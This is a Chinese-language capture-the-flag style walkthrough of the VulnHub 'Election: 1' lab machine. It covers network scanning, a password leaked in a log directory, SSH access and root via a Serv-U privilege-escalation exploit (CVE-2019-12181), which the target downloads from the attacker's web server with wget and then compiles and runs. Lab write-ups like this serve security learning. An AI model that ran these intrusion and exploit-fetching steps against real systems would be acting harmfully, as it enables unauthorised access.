一、前言
主要利用方式:log日志撸出22ssh账号密码+usr/local 目录下Serv-U拥有特权也存在漏洞
二、靶机信息
靶场: vulnhub.com
靶机名称: ELECTION: 1
难度: 简单
发布时间: 2020年 7月 2日
下载地址:https://www.vulnhub.com/entry/election-1,503/
备注:按照以上利用方式,确实符合简单模式
但传闻有第二种方式:弱口令登录phpmyadmin 获取网站账号密码,然后获取22ssh账号密码
三、虚拟机配置
Vmware、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配
四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l
2、查看端口及各端口的服务
└─$ sudo nmap -p- 192.168.169.159
└─$ sudo nmap -p22,80 -sV -A 192.168.169.159
3、没啥可以利用的有效信息,访问80端口,并且目录扫描
http://192.168.169.159/
4、发现存在phpmyadmin、robots.txt、phpinfo.php 等文件尝试访问
http://192.168.169.159/phpmyadmin/
http://192.168.169.159/robots.txt
http://192.168.169.159/phpinfo.php
5、在robots.txt页面中发现类似目录的字符串,尝试访问,最终election目录可以正常访问,那就再顺带扫描一下路径
http://192.168.169.159/election/
└─$ dirsearch -u http://192.168.169.159/election/
6、存在admin、login、logs、data、media、themes等目录,只有logs有点用处
http://192.168.169.159/election/admin/logs/
获取了一个账户及密码:Assigned Password for the user love: P@$$w0rd@123
五、漏洞利用(突破边界)
7、SSH登录( love/P@$$w0rd@123),查看id及www目录权限的用户flag
六、提权
8、这里用find找特殊权限的时候居然看到有一个Serv-U,比较不常见
/usr/local/ :用户级的程序目录,可以理解为C:/Progrem Files/用户自己编译的软件默认会安装到这个目录下。
love@election:~$ find / -perm -u=s -type f 2>/dev/null
9、查看Serv-U的版本号
love@election:/usr/local/Serv-U$ cat Serv-U-StartupLog.txt
10、查了版本,那就索性去kali库中查看Serv-U的漏洞列表,下载下来查看详情
└─$ searchsploit Serv-U 15.1
可以发现提权命令:gcc servu-pe-cve-2019-12181.c -o pe && ./pe
11、在攻击机搭建服务,备用靶机来下载文件
└─$ python -m http.server 80
12、靶机下载脚本:
love@election:~$ wget http://192.168.169.129/47009.c
love@election:~$ ls -la
13、运行gcc命令,获取root权限,查看靶机ip,查看root权限下的flag
love@election:~$ gcc 47009.c -o pe && ./pe
ip a
cat /root/root.txt
5238feefc4ffe09645d97e9ee49bc3a6